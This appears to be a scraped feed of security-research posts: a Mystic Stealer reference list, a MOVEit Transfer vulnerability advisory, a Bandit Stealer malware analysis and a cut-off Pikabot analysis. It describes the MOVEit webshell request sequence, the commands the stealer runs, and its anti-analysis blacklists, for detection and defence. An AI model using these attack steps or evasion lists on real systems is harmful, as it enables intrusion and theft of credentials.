https://twitter.com/GroupIB_TI/status/1651199735049469953 https://twitter.com/DailyDarkWeb/status/1652070191285821440 https://twitter.com/FalconFeedsio/status/1653355558605299713 https://twitter.com/0xrb/status/1653364901384003585 https://twitter.com/crocodylii/status/1653761115493486593 https://ioc.exchange/@cstromblad/110310524830937297 https://twitter.com/InQuest/status/1654498173069426691 https://twitter.com/connectraek/status/1656232673243983873 https://www.zerofox.com/blog/underground-economist-volume-3-issue-9/ https://twitter.com/FalconFeedsio/status/1659106113424355328 https://twitter.com/MikyRov/status/1661016035766702091 https://twitter.com/FalconFeedsio/status/1662038253791322112 https://github.com/phish-report/IOK/blob/main/indicators/mystic-stealer-88b6ef2f.yml https://github.com/montysecurity/C2-Tracker/blob/main/data/Mystic%20Stealer%20IPs.txt https://www.google.com/search?q=%22Mystic+Stealer%22 https://threatfox.abuse.ch/browse/tag/Mystic/ https://urlscan.io/search/#page.title%3A%22mystic%20stealer%22 https://urlscan.io/search#page.title%3A%22Mystic%20Stealer%20-%20%20Login%22 https://urlscan.io/search#page.title%3A%22Mystic%20Stealer%20v1.1%20-%20%20Login%22 https://urlscan.io/search#page.title%3A%22Mystic%20Stealer%20v1.2%20-%20%20Login%22 https://urlscan.io/search/#hash%3Afaf14cca1e17a7676c15266507219e3319943b19e21287015b9c968f0244fde2 https://urlscan.io/search/#task.tags:%22mystic%22 https://phish.report/IOK/indicators/mystic-stealer-88b6ef2f https://www.virustotal.com/gui/collection/96ec0e1c018e476d981aa206a657960e5be05cb5383ae5a7fbb274611a9ccdcc/ https://twitter.com/hashtag/mysticstealer?f=live Analysis resources https://github.com/Microv/MysticStealer_HashResolver Thu, 15 Jun 2023 09:53:06 -0700 Brett Stone-Gross https://www.zscaler.com/blogs/security-research/mystic-stealer Coverage Advisory for CVE-2023-34362 MOVEit Transfer Vulnerabilities https://www.zscaler.com/blogs/security-research/coverage-advisory-cve-2023-34362-moveit-transfer-vulnerabilities Updated Security Advisory - June 22, 2023 Progress Software disclosed one more critical vulnerability CVE-2023-35708 with CVSS Base Score 9.8 in its MOVEit Transfer application on 15th June 2023. An unauthenticated remote attacker could exploit the vulnerable version of MOVEit Transfer that could lead to escalated privileges and potential unauthorized access in the environment. An adversary can steal or modify data upon successful exploitation of the SQL injection vulnerability, CVE-2023-35708. Progress software had patched a similar vulnerability CVE-2023-34362 and CVE-2023-35036 recently in the MOVEit transfer application. At the moment, whether this vulnerability, CVE-2023-35708, is exploited in the wild or not is yet to be confirmed, but it is highly likely to be exploited by threat actors. For immediate remediation of all the recent 3 MOVEit Transfer vulnerabilities, disable all HTTP and HTTPs traffic to your MOVEit Transfer environment until the latest patch with the fixes applied. The organizations that applied the patch for the vulnerability CVE-2023-34362 and CVE-2023-35708 are still vulnerable to CVE-2023-35708. The vulnerability affects MOVEit Transfer before versions released before 2021.0.8 (13.0.8), 2021.1.6 (13.1.6), 2022.0.6 (14.0.6), 2022.1.7 (14.1.7), 2023.0.3 (15.0.3). It is important for organizations to apply the latest security patches released by the Progress software mentioned here. Zscaler Coverage: Zscaler’s ThreatLabZ team has deployed protection as mentioned below: Zscaler Private Access AppProtection: Progress MOVEit Transfer SILCertToUser or UserCheckClientCert SQL Injection (CVE-2023-35036 or CVE-2023-35708): 6000667 Updated Security Advisory - June 21, 2023 Progress Software disclosed a new vulnerability CVE-2023-35036 in its MOVEit Transfer application on 12th June 2023. An unauthenticated remote attacker could exploit the latest release of MOVEit Transfer to steal or modify data by exploiting the SQL injection vulnerability known as CVE-2023-35036. Currently, there is no evidence of real-world attacks. Progress software had patched a similar vulnerability CVE-2023-34362 recently in the MOVEit transfer application. At the moment, whether this vulnerability, CVE-2023-35036, is exploited in the wild or not is yet to be confirmed, but it is highly likely to be exploited by threat actors. The organizations that applied the patch for the vulnerability CVE-2023-34362 are still vulnerable to CVE-2023-35036. The vulnerability affects MOVEit Transfer before versions 1.0.7, 1.1.5, 14.0.5, 14.1.6, and 15.0.4. It is important for organizations to apply the latest security patches released by the Progress software mentioned here. Zscaler Coverage: Zscaler’s ThreatLabZ team has deployed protection as mentioned below: Zscaler Private Access AppProtection: Progress MOVEit Transfer SILCertToUser SQL Injection (CVE-2023-35036): 6000667 Security Advisory – June 09, 2023 Background: MOVEit is a managed file transfer software produced by Progress(formerly Ipswitch). The MOVEit encrypts files and uses secure File Transfer Protocols to transfer data with automation, analytics and failover options. The software has been heavily used in the healthcare industry as well as thousands of IT departments in financial services and government sectors. On 31-May-2023, Progress Software disclosed a critical vulnerability CVE-2023-34362 in the MOVEit application. This vulnerability, upon successful exploitation, could allow an unauthenticated attacker to gain access to the MOVEit Transfer's database and allow them to infer information about the internals of the database and alter or delete their elements. What is the issue? MOVEit is typically used for file transfer operations by organizations and has a web application that supports different types of databases like MySQL, Microsoft SQL Server, and Azure SQL. The MOVEit vulnerability allows adversaries to implant a remote web shell on the victim's machine. As shown in the diagram above, an adversary performs the following steps to implant a malicious webshell. App check - GET / - on port 443 Health check - POST /guestaccess.aspx - on port 443 Check token - POST /api/v1/token - on port 443 Check folder - GET /api/v1/folders - on port 443 Upload file - POST /api/v1/folders/[PATH]/files uploadType=resumable - on port 443 Post data - POST /machine2.aspx on port 80 Perform SQL injection - POST /moveitisapi/moveitisapi.dll - on port 443 Prepare session - POST /guestaccess.aspx - on port 443 Upload file - PUT /api/v1/folders/[PATH]/files uploadType=resumable&fileId=[FILEID] - on port 443 Post data - /machine2.aspx - on port 80 Access WebShell - GET /human2.aspx - on port 443 The name of the malicious file, human2.aspx, is intentionally used for webshell to masquerade the original, non malicious file, human.aspx, which typically comes with the installations of MOVEit applications. This ASPX file stages an SQL database account to be used for further access. Once the malicious webshell is installed, it creates a random 36 characters long password which later is used for the authentication purpose. The adversary communicates with the webshell over HTTP protocol with specially crafted HTTP request with a custom header in it, named “X-siLock-Comment”. The value of the custom header contains the password generated during the installation of the malicious webshell. The webshell would return a 404 not found response if the incoming HTTP request doesn’t contain the custom header. Once an adversary successfully authenticates, depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an adversary may be able to build the understanding about the structure and contents of the database, and also execute SQL statements that can alter or delete database elements. The moveitisapi.dll is used to perform SQL injection when requested with specific headers, and guestaccess.aspx is used to prepare a session and extract CSRF tokens and other field values to perform further actions. It connects to the database and offers data exfil functionality based on a provided X-siLock-Step1 header. As of 7 June 2023, there were roughly 2,500 instances of MOVEit Transfer exposed to the public internet. In recent years, File transfer solutions have been a popular target for ransomware groups. As per an advisory published by the Cybersecurity And Infrastructure Security Agency, CISA, threat actors groups like the CL0P Ransomware Gang reportedly started exploiting the same vulnerability and leveraged it to implant a remote web shell on the victim's machine. The Internet facing MOVEit Transfer web applications were infected with a web shell named LEMURLOOT, which was then used to steal data from the victim's machine and underlying MOVEit Transfer databases. Are Zscaler products affected? Zscaler does not utilize Progress Software's MOVEit product. The Zscaler platform is not susceptible to this vulnerability. The trust post is published here. Affected products: The details regarding the affected versions of MOVEit Transfer are present here. As per Progress Software, this vulnerability affects all versions of MOVEit Transfer. However, it doesn’t affect MOVEit Automation, MOVEit Client, MOVEit Add-in for Microsoft Outlook, MOVEit Mobile, WS_FTP Client, WS_FTP Server, MOVEit EZ, MOVEit Gateway, MOVEit Analytics and MOVEit Freely. Mitigations: The Progress Software also released a security advisory mentioning the details related to the patch with the fix and recommended remediations and mitigation steps. If one is using MOVEit Transfer versions before 2021.0.6 (13.0.6), 2021.1.4 (13.1.4), 2022.0.4 (14.0.4), 2022.1.5 (14.1.5), and 2023.0.1 (15.0.1), then it is strongly recommended to upgrade them to the versions in which this vulnerability is patched, as per the details given here. Investigation Tips: The IIS access logs can be checked for indicators of compromise on the host in question. At the endpoint, presence of files named human2.aspx or _human2.aspx in \MOVEitTransfer\wwwroot\ folder. Based on known cases of exploitation so far, compromise would involve incoming requests to the following endpoints (in this order) guestaccess.aspx, followed by moveitisapi.dll, followed by human2.aspx or _human2.aspx In case header values are logged, requests/responses with the following HTTP header names are confirmed indicators of compromise : X-siLock-Comment X-siLock-Step1 X-siLock-Step2 X-siLock-Step3 Locate MOVEit root directory from HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock->WebBaseDir Locate MOVEit log file location HKEY_LOCAL_MACHINE\SOFTWARE\Standard Networks\siLock->LogsBaseDir Best Practices/Guidelines To follow: Safeguard crown jewel applications by limiting lateral movement using Zscaler Private Access, especially with application security modules turned on. Route all server traffic through Zscaler Internet Access, which will provide the right visibility to identify and stop malicious activity from compromised systems/servers. Restrict traffic to the critical infrastructure from the allowed list of known-good destinations. Ensure you are inspecting all SSL traffic. Turn on Advanced Threat Protection to block all known command-and-control domains. This will provide additional protection in case the adversary exploits this vulnerability to implant malware. Extend command-and-control protection to all ports and protocols with the Advanced Cloud Firewall (Cloud IPS module), including emerging C2 destinations. Again, this will provide additional protection in case if the adversary exploits this vulnerability to implant malware. Use Advanced Cloud Sandbox to prevent unknown malware delivered as part of a second stage payload. Zscaler Coverage: Zscaler’s ThreatLabZ team has deployed protection as mentioned below: Zscaler Advanced Threat Protection Signatures: WIN32.EXPLOIT.CVE-2023-34362 APP.EXPLOIT.CVE-2023-34362 HTML.EXPLOIT.CVE-2023-34362 Zscaler Private Access AppProtection: MOVEit Transfer moveitisapi SQL Injection (CVE-2023-34362): 6000662 Details related to the threat signatures released by Zscaler can be found in the Zscaler Threat Library. Additional References: https://www.cisa.gov/news-events/alerts/2023/06/07/cisa-and-fbi-release-stopransomware-cl0p-ransomware-gang-exploits-moveit-vulnerability https://nvd.nist.gov/vuln/detail/CVE-2023-34362 https://www.rapid7.com/blog/post/2023/06/01/rapid7-observed-exploitation-of-critical-moveit-transfer-vulnerability/ https://www.techrepublic.com/article/zero-day-moveit-vulnerability/ https://www.mandiant.com/resources/blog/zero-day-moveit-data-theft Fri, 09 Jun 2023 12:05:41 -0700 Jithin Nair https://www.zscaler.com/blogs/security-research/coverage-advisory-cve-2023-34362-moveit-transfer-vulnerabilities Technical Analysis of Bandit Stealer https://www.zscaler.com/blogs/security-research/technical-analysis-bandit-stealer Key Points Bandit is a new information stealer that harvests stored credentials from web browsers, FTP clients, email clients, and targets cryptocurrency wallet applications. The malware sends stolen information to a command and control server via Telegram. Bandit implements numerous methods to detect and evade virtual machines and malware sandboxes. Bandit has been marketed and sold as a service on underground criminal forums since April 2023. The malware is written using the Go programming language, which has become increasingly popular with malware developers. Zscaler ThreatLabz has been tracking a new information stealer called Bandit Stealer that emerged in April 2023. Bandit collects sensitive information from victims' machines including cookies, saved login data, and credit card information from more than a dozen web browsers. The stealer also performs credential theft for popular FTP clients and email clients. Lastly, Bandit targets desktop cryptocurrency wallet applications. All of the stolen information is then exfiltrated back to a command and control (C2) server via Telegram. The malware is written in the Go (a.k.a. Golang) programming language and is especially notable with the large number of attempts to evade virtual environments and automated malware analysis platforms. Bandit Stealer is marketed and sold as a service in underground cybercriminal forums as shown in Figure 1. Figure 1: Advertisement for Bandit Stealer on an underground forum Technical Analysis Anti-Virtual Machine & Sandbox Identification Bandit stealer employs a number of anti-analysis techniques to thwart automated and manual analysis. The malware uses the procfs Golang library to read information about running processes and checks for the following process names shown below: Xen Vmware VirtualBox KVM Sandbox QEMU jail If a running process matches any of these names, Bandit will terminate execution. The most recent Bandit samples also check for the presence of a debugger using the Windows API by calling IsDebuggerPresent and CheckRemoteDebuggerPresent. Bandit attempts to elevate permission using the runas command with the username set to Administrator as shown below: C:\Windows\system32\runas.exe runas /user:Administrator C:\Users\saturn\Desktop\Bandit.exe Bandit also executes the Windows Management Interface command-line (WMIC) utility to obtain the Universally Unique Identifier (UUID) of the victim machine and the screen dimensions using the following commands, respectively: wmic csproduct get uuid wmic desktopmonitor get screenheight, screenwidth This information may help threat actors further identify analysis environments. In addition, Bandit uses an extensive list of IP addresses, MAC addresses, computer names, user names, process names to identify virtual environments and associate the environment with security vendors, and therefore avoid exhibiting any malicious behavior. The blacklist information is very similar to that of other prevalent open source stealers including Luna-Grabber, Kyoku-Cookie-Token-Stealer and Creal Stealer. Bandit obtains the system’s external IP address from api.ipify.org and compares it with a list of blacklisted IP addresses shown in the Appendix. Some of these IP addresses belong to antivirus companies, which may be used to block signature updates. Bandit stealer also retrieves the MAC address of the victim machine using the GetAdaptersAddresses Windows API and compares it with a blacklist shown in the Appendix. If there is a match, Bandit exits. Some of these MAC addresses are associated with virtualization software, so the purpose of the blacklist may be to evade malware sandboxes. Bandit Stealer also checks if the victim’s username and computer name are present in additional blacklists, which are obtained using “ cmd /c net session”. The CreateToolhelp32Snapshot Windows API is used to capture the snapshot and traverse along the running process and matches with a list of blacklisted process names and terminates if any process is found executing in the memory shown in the Appendix. Information Stealing Behavior Bandit steals web browser data including saved login information, cookies, history, and credit card information stored in the browser’s user profile. Bandit targets a long list of browsers as shown in Table 1. Yandex Browser Iridium Browser 7Star Browser Vivaldi Browser Google Chrome Orbitum Sputnik uCozMedia Microsoft Edge Torch Web Browser Kometa Browser CentBrowser BraveSoftware Amigo Browser Epic Privacy Browser SeaMonkey browser QupZilla Table 1: Web browsers targeted by Bandit Stealer The SQLite3 library is used to fetch data and the CryptUnprotectData API is used to decrypt cookies and credentials. Credit card information is also stolen, which includes the name, expiration month, year and card number. Bandit also targets desktop cryptocurrency wallets like Electrum, Exodus, MetaMask, Guarda, Binance, Ethereum as shown in Table 2. Coinbase wallet extension Saturn Wallet extension Binance chain wallet extension Coin98 Wallet TronLink Wallet multibit Bitcoin Terra Station Electron Cash Guildwallet extension Electrum-btcp MetaMask extension Bither Bitcoin wallet ronin wallet extension multidoge coin Kardiachain wallet extension LiteCoin Jaxx liberty Wallet Dash Wallet Math Wallet extension Ethereum Bitpay wallet extension Exodus Nifty Wallet extension Atomic Armory Bytecoin Wallet Coinomi wallet Monero wallet dogecoin Table 2: Cryptocurrency wallets targeted by Bandit Stealer Bandit also has the capability to harvest keystrokes and steal clipboard data. Recent samples of Bandit also target credentials in the following File Transfer Protocol Client (FTP) applications shown in Table 3. BlazeFTP NovaFTP Staff-FTP EasyFTP DeluxeFTP ALFTP GoFTP 32BitFtp Table 3: FTP client applications targeted by Bandit Bandit also targets login information for the email clients shown in Table 4. MailSpring Mailbird Opera Mail Pocomail Table 4: Email client applications targeted by Bandit Stolen data is saved in various files inside a sub-folder in the %appdata%\local directory as shown in Figure 2. The sub-folder name is based on the country code and the IP address in the format [country_code][ip_address]. Figure 2: Example information collected by Bandit Stealer The content of the USERINFO.txt contains a Bandit Stealer header followed by system information as shown in Figure 3. Figure 3: Example content in the Bandit USERINFO.txt file Network Communication Bandit uses the cURL utility which is installed by default since Windows 10 v1803 to transfer data using HTTP, FTP, SMTP and more. Bandit stealer abuses pastebin.com for downloading the blacklist configuration information from a hardcoded URL as shown in Figure 4. Figure 4: Bandit Stealer blacklist configuration downloaded from Pastebin After Bandit finishes data collection, this information is sent to the threat actor via Telegram as shown in Figure 5. Figure 5: Data stolen by Bandit sent to a Telegram channel The Bandit threat actor has automated the parsing and extraction of the data and responds back with a JSON encoded structure as shown in Figure 6. Figure 6: Example Bandit C2 response Conclusion Bandit Stealer is continuously updated with new features to enhance its data collection functionality. Most recently, Bandit has added support to steal FTP and email credentials. Bandit is also capable of expanding its anti-analysis features with a dynamic configuration downloaded from Pastebin. The abuse of Telegram as a C2 server has also become an increasingly popular technique to evade network-based signatures and make takedown efforts more difficult. All of these factors set up Bandit Stealer to be a potential threat for the foreseeable future. Zscaler Coverage Zscaler has ensured coverage for the payloads seen in these attacks via advanced threat signatures as well as Zscaler’s advanced cloud sandbox. Figure 7: The Zscaler Cloud Sandbox successfully detected the malware Zscaler's multilayered cloud security platform detects indicators at various levels, as shown below: Win64_PWS_Bandit Indicators of Compromise (IOCs) MD5 Hash Values Description 17c697da407acacadcaa8fb5c4885179 Bandit Stealer fdb111c9e0c6b1a94e2bf22131e4266d Bandit Stealer 700e57847516d1f3e4ebf02e015e9f8d Bandit Stealer 329562ce914d3d5998ac071333e43c1c Bandit Stealer 4ab55868b65dc8f16d9d62edfd1893fa Bandit Stealer 34323d65b744664567c06f8c6076a6b1 Bandit Stealer 2207a896e3e2ac5dae04643e56767dcd Bandit Stealer caf4884072724f1d75a6288f27e8e8fe Bandit Stealer Appendix IP addresses blacklisted by Bandit Stealer 88.132.231.71 95.25.204.90 34.105.72.241 193.128.114.45 78.139.8.50 34.145.89.174 109.74.154.92 95.25.81.24 20.99.160.173 109.74.154.90 213.33.142.50 92.211.52.62 88.153.199.169 109.145.173.169 109.74.154.91 88.132.227.238 84.147.62.12 34.141.146.114 93.216.75.209 35.199.6.13 194.154.78.160 212.119.227.151 192.87.28.103 80.211.0.97 92.211.109.160 195.239.51.59 88.132.226.203 34.85.253.170 195.74.76.222 192.40.57.234 195.181.175.105 23.128.248.46 188.105.91.116 64.124.12.162 88.132.225.100 35.229.69.227 34.105.183.68 34.142.74.220 92.211.192.144 34.138.96.23 92.211.55.199 188.105.91.173 34.83.46.130 192.211.110.74 79.104.209.33 109.74.154.91 188.105.91.143 35.237.47.12 178.239.165.70 34.141.245.25 34.85.243.241 87.166.50.213 34.105.0.27 34.145.195.58 193.225.193.201 34.253.248.228 35.192.93.107 195.239.51.3 84.147.54.113 212.119.227.167 MAC addresses blacklisted by Bandit Stealer 00:15:5d:00:07:34 00:50:56:b3:14:59 16:ef:22:04:af:76 42:01:0a:8a:00:22 00:e0:4c:b8:7a:58 ea:02:75:3c:90:9f 00:15:5d:23:4c:ad 00:1b:21:13:32:51 00:0c:29:2c:c1:21 00:e0:4c:44:76:54 1a:6c:62:60:3b:f4 a6:24:aa:ae:e6:12 00:25:90:65:39:e4 ac:1f:6b:d0:4d:e4 00:15:5d:00:00:1d 08:00:27:45:13:10 c8:9f:1d:b6:58:e4 52:54:00:3b:78:24 00:50:56:a0:cd:a8 00:1b:21:13:26:44 00:25:90:36:65:0c 00:50:56:b3:50:de 00:50:56:b3:fa:23 3c:ec:ef:43:fe:de 00:15:5d:00:00:f3 7e:05:a3:62:9c:4d 52:54:00:a0:41:92 d4:81:d7:ed:25:54 2e:b8:24:4d:f7:de 52:54:00:b3:e4:71 00:50:56:b3:f6:57 00:25:90:36:65:38 00:15:5d:13:6d:0c 90:48:9a:9d:d5:24 00:e0:4c:56:42:97 00:03:47:63:8b:de 00:50:56:a0:dd:00 00:50:56:b3:3b:a6 ca:4d:4b:ca:18:cc 00:15:5d:00:05:8d 00:15:5d:13:66:ca 92:4c:a8:23:fc:2e f6:a5:41:31:b2:78 00:0c:29:52:52:50 56:e8:92:2e:76:0d 5a:e2:a6:a4:44:db d6:03:e4:ab:77:8e 00:50:56:b3:42:33 ac:1f:6b:d0:48:fe 00:50:56:ae:6f:54 00:50:56:ae:b2:b0 3c:ec:ef:44:01:0c 00:e0:4c:94:1f:20 42:01:0a:96:00:33 00:50:56:b3:94:cb 06:75:91:59:3e:02 00:15:5d:00:05:d5 00:50:56:97:a1:f8 42:01:0a:8e:00:22 42:01:0a:8a:00:33 00:e0:4c:4b:4a:40 5e:86:e4:3d:0d:f6 00:50:56:b3:4c:bf ea:f6:f1:a2:33:76 42:01:0a:8a:00:22 00:50:56:b3:ea:ee 00:50:56:b3:09:9e ac:1f:6b:d0:4d:98 00:1b:21:13:15:20 3e:53:81:b7:01:13 00:50:56:b3:38:88 1e:6c:34:93:68:64 00:15:5d:00:06:43 00:50:56:97:ec:f2 00:50:56:a0:d0:fa 00:50:56:a0:61:aa 00:15:5d:1e:01:c8 00:e0:4c:b3:5a:2a 00:50:56:b3:91:c8 42:01:0a:96:00:22 00:50:56:b3:38:68 12:f8:87:ab:13:ec 3e:c1:fd:f1:bf:71 00:50:56:b3:21:29 60:02:92:3d:f1:69 00:50:56:a0:38:06 00:50:56:a0:6d:86 00:15:5d:00:00:b3 00:e0:4c:7b:7b:86 2e:62:e8:47:14:49 00:50:56:a0:af:75 96:2b:e9:43:96:76 00:e0:4c:46:cf:01 00:0d:3a:d2:4f:1f 00:50:56:b3:dd:03 b4:a9:5a:b1:c6:fd 42:85:07:f4:83:d0 60:02:92:66:10:79 c2:ee:af:fd:29:21 d4:81:d7:87:05:ab 56:b0:6f:ca:0a:e7 00:50:56:a0:d7:38 00:50:56:b3:ee:e1 ac:1f:6b:d0:49:86 12:1b:9e:3c:a6:2c be:00:e5:c5:0c:e5 00:50:56:a0:84:88 52:54:00:8b:a6:08 00:15:5d:00:1c:9a 00:50:56:a0:59:10 00:1b:21:13:32:20 00:0c:29:05:d8:6e 00:15:5d:00:1a:b9 00:50:56:a0:06:8d 3c:ec:ef:44:00:d0 00:23:cd:ff:94:f0 b6:ed:9d:27:f4:fa 00:e0:4c:cb:62:08 00:50:56:ae:e5:d5 00:e0:4c:d6:86:77 00:15:5d:00:01:81 4e:81:81:8e:22:4e 00:50:56:97:f6:c8 3c:ec:ef:44:01:aa 4e:79:c0:d9:af:c3 08:00:27:3a:28:73 52:54:00:ab:de:59 00:15:5d:23:4c:a3 00:15:5d:b6:e0:cc 00:15:5d:00:00:c3 00:50:56:b3:9e:9e 00:1b:21:13:33:55 00:15:5d:00:02:26 00:50:56:a0:45:03 00:50:56:a0:39:18 00:15:5d:00:00:a4 00:50:56:b3:05:b4 12:8a:5c:2a:65:d1 32:11:4d:d0:4a:9e 00:50:56:ae:5d:ea 1c:99:57:1c:ad:e4 00:25:90:36:f0:3b 00:50:56:b3:d0:a7 94:de:80:de:1a:35 00:1b:21:13:21:26 Hardware IDs blacklisted by Bandit Stealer 7AB5C494-39F5-4941-9163-47F54D6D5016 050C3342-FADD-AEDF-EF24-C6454E1A73C9 BB233342-2E01-718F-D4A1-E7F69D026428 79AF5279-16CF-4094-9758-F88A616D81B4 03DE0294-0480-05DE-1A06-350700080009 4DC32042-E601-F329-21C1-03F27564FD6C 9921DE3A-5C1A-DF11-9078-563412000026 FF577B79-782E-0A4D-8568-B35A9B7EB76B 11111111-2222-3333-4444-555555555555 DEAEB8CE-A573-9F48-BD40-62ED6C223F20 CC5B3F62-2A04-4D2E-A46C-AA41B7050712 08C1E400-3C56-11EA-8000-3CECEF43FEDE 6F3CA5EC-BEC9-4A4D-8274-11168F640058 05790C00-3B21-11EA-8000-3CECEF4400D0 00000000-0000-0000-0000-AC1F6BD04986 6ECEAF72-3548-476C-BD8D-73134A9182C8 ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548 5EBD2E42-1DB8-78A6-0EC3-031B661D5C57 C249957A-AA08-4B21-933F-9271BEC63C85 49434D53-0200-9036-2500-369025003865 4C4C4544-0050-3710-8058-CAC04F59344A 9C6D1742-046D-BC94-ED09-C36F70CC9A91 BE784D56-81F5-2C8D-9D4B-5AB56F05D86E 119602E8-92F9-BD4B-8979-DA682276D385 00000000-0000-0000-0000-AC1F6BD04972 907A2A79-7116-4CB6-9FA5-E5A58C4587CD ACA69200-3C4C-11EA-8000-3CECEF4401AA 12204D56-28C0-AB03-51B7-44A8B7525250 00000000-0000-0000-0000-000000000000 A9C83342-4800-0578-1EE8-BA26D2A678D2 3F284CA4-8BDF-489B-A273-41B44D668F6D 921E2042-70D3-F9F1-8CBD-B398A21F89C6 5BD24D56-789F-8468-7CDC-CAA7222CC121 D7382042-00A0-A6F0-1E51-FD1BBF06CD71 BB64E044-87BA-C847-BC0A-C797D1A16A50 D8C30328-1B06-4611-8E3C-E433F4F9794E 49434D53-0200-9065-2500-65902500E439 1D4D3342-D6C4-710C-98A3-9CC6571234D5 2E6FB594-9D55-4424-8E74-CE25A25E36B0 00000000-0000-0000-0000-50E5493391EF 49434D53-0200-9036-2500-36902500F022 CE352E42-9339-8484-293A-BD50CDC639A5 42A82042-3F13-512F-5E3D-6BF4FFFD8518 00000000-0000-0000-0000-AC1F6BD04D98 777D84B3-88D1-451C-93E4-D235177420A7 60C83342-0A97-928D-7316-5F1080A78E72 38AB3342-66B0-7175-0B23-F390B3728B78 4CB82042-BA8F-1748-C941-363C391CA7F3 49434D53-0200-9036-2500-369025000C65 02AD9898-FA37-11EB-AC55-1D0C0A67EA8A 48941AE9-D52F-11DF-BBDA-503734826431 B6464A2B-92C7-4B95-A2D0-E5410081B812 B1112042-52E8-E25B-3655-6A4F54155DBF DBCC3514-FA57-477D-9D1F-1CAF4CC92D0F 032E02B4-0499-05C3-0806-3C0700080009 FA8C2042-205D-13B0-FCB5-C5CC55577A35 00000000-0000-0000-0000-AC1F6BD048FE FED63342-E0D6-C669-D53F-253D696D74DA DD9C3342-FB80-9A31-EB04-5794E5AE2B4C C6B32042-4EC3-6FDF-C725-6F63914DA7C7 EB16924B-FB6D-4FA1-8666-17B91F62FB37 2DD1B176-C043-49A4-830F-C623FFB88F3C E08DE9AA-C704-4261-B32D-57B2A3993518 FCE23342-91F1-EAFC-BA97-5AAE4509E173 A15A930C-8251-9645-AF63-E45AD728C20C 4729AEB0-FC07-11E3-9673-CE39E79C8A00 07E42E42-F43D-3E1C-1C6B-9C7AC120F3B9 CF1BE00F-4AAF-455E-8DCD-B5B09B6BFA8F 67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3 84FE3342-6C67-5FC6-5639-9B3CA3D775A1 88DC3342-12E6-7D62-B0AE-C80E578E7B07 365B4000-3B25-11EA-8000-3CECEF44010C C7D23342-A5D4-68A1-59AC-CF40F735B363 DBC22E42-59F7-1329-D9F2-E78A2EE5BD0D 5E3E7FE0-2636-4CB7-84F5-8D2650FFEC0E 63FA3342-31C7-4E8E-8089-DAFF6CE5E967 63203342-0EB0-AA1A-4DF5-3FB37DBB0670 CEFC836C-8CB1-45A6-ADD7-209085EE2A57 96BB3342-6335-0FA8-BA29-E1BA5D8FEFBE 8DA62042-8B59-B4E3-D232-38B29A10964A 44B94D56-65AB-DC02-86A0-98143A7423BF A7721742-BE24-8A1C-B859-D7F8251A83D3 0934E336-72E4-4E6A-B3E5-383BD8E938C3 3A9F3342-D1F2-DF37-68AE-C10F60BFB462 6608003F-ECE4-494E-B07E-1C4615D1D93C 3F3C58D1-B4F2-4019-B2A2-2A500E96AF2E 12EE3342-87A2-32DE-A390-4C2DA4D512E9 F5744000-3C78-11EA-8000-3CECEF43FEFE D9142042-8F51-5EFF-D5F8-EE9AE3D1602A D2DC3342-396C-6737-A8F6-0C6673C1DE08 38813342-D7D0-DFC8-C56F-7FC9DFE5C972 AF1B2042-4B90-0000-A4E4-632A1C8C7EB1 49434D53-0200-9036-2500-369025003AF0 EADD1742-4807-00A0-F92E-CCD933E9D8C1 FE455D1A-BE27-4BA4-96C8-967A6D3A9661 4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27 8B4E8278-525C-7343-B825-280AEBCD3BCB Usernames blacklisted by Bandit Stealer WDAGUtilityAccount server 8VizSM Abby BvJChRPnsxn w0fjuOVmCcP5A hmarc Harry Johnson lmVwjj9b patex SqgFOf3G PqONjHVwexsS RDhJ0CNFevzX Lucas 3u2v9m8 kEecfMwgj mike Julia Frank PateX HEUeRzl 8Nl0ColNQ5bq h7dk1xPr fred Lisa Louise RGzcBUyrznReg John User01 PxmdUOpVyx george test Computer names blacklisted by Bandit Stealer BEE7370C-8C0C-4 WILEYPC DESKTOP-CBGPFEE DESKTOP-NAKFFMT WORK SERVER-PC WIN-5E07COS9ALR 6C4E733F-C2D9-4 TIQIYLA9TW5M B30F0242-1C6A-4 RALPHS-PC DESKTOP-KALVINO DESKTOP-VRSQLAG DESKTOP-WG3MYJS COMPNAME_4047 Q9IATRKPRH DESKTOP-7XC6GEZ DESKTOP-19OLLTD XC64ZB DESKTOP-5OV9S0O DESKTOP-DE369SE DESKTOP-D019GDM QarZhrdBpj EA8C2E2A-D017-4 DESKTOP-WI8CLET ORELEEPC AIDANPC SERVER1 ARCHIBALDPC LUCAS-PC LISA-PC JULIA-PC MARCI-PC JOHN-PC d1bnJkfVlH DESKTOP-1PYKP29 DESKTOP-B0T93D6 NETTYPC DESKTOP-1Y2433R DESKTOP-BUGIO Process names blacklisted by Bandit Stealer httpdebuggerui vmwareuser wireshark vgauthservice fiddler vmacthlp regedit x96dbg cmd vmsrvc taskmgr x32dbg vboxservice vmusrvc df5serv prl_cc processhacker prl_tools vboxtray xenservice vmtoolsd qemu-ga vmwaretray joeboxcontrol ida64 ksdumperclient ollydbg ksdumper pestudio joeboxserver Sat, 03 Jun 2023 12:44:10 -0700 Mallikarjun Piddannavar https://www.zscaler.com/blogs/security-research/technical-analysis-bandit-stealer Technical Analysis of Pikabot https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot Key Points Pikabot is a new malware trojan that emerged in early 2023 that consists of two components: a loader and a core module. The core module implements the malicious functionality that includes the ability to execute arbitrary commands and inject payloads that are provided by a command-and-control server. Pikabot utilizes a code injector to decrypt and inject the core module. The core module and its injector use a series of anti-analysis techniques. In addition, they use the public tool ADVobfuscator for string obfuscation. Pikabot shares similarities with the Qakbot trojan including the distribution methods, campaigns, and malware behaviors. Pikabot is a malicious backdoor that has been active since early 2023. The malware is modular with a loader and a core component that implements the majority of the functionality. Pikabot is capable of receiving commands from a command-and-control server such as the injection of arbitrary shellcode, DLLs or executable files. Zscaler Threatlabz has observed Pikabot being used to distribute Cobalt Strike. The Pikabot malware author has added a number of anti-analysis techniques to thwart automated analysis in sandbox and research environments. The code checks for the presence of debuggers, breakpoints, and system information including memory and the number of processors. Pikabot also uses the ADVobfuscator library to encrypt important strings used by the malware. Threatlabz has noticed some resemblances between Pikabot and Qakbot including the method of distribution, behavior, and internal campaign identifiers. However, there is not sufficient evidence at this time to definitively link these malware families to the same threat actor. Technical Analysis In the following sections, we focus on Pikabot’s core module and its injector since the downloader does not contain any functionality/features worth mentioning. Core Module Injector Pikabot uses an injector to run a series of anti-analysis tests and then decrypt and inject the core module payload. If any of these tests fail, Pikabot will terminate execution. ThreatLabz 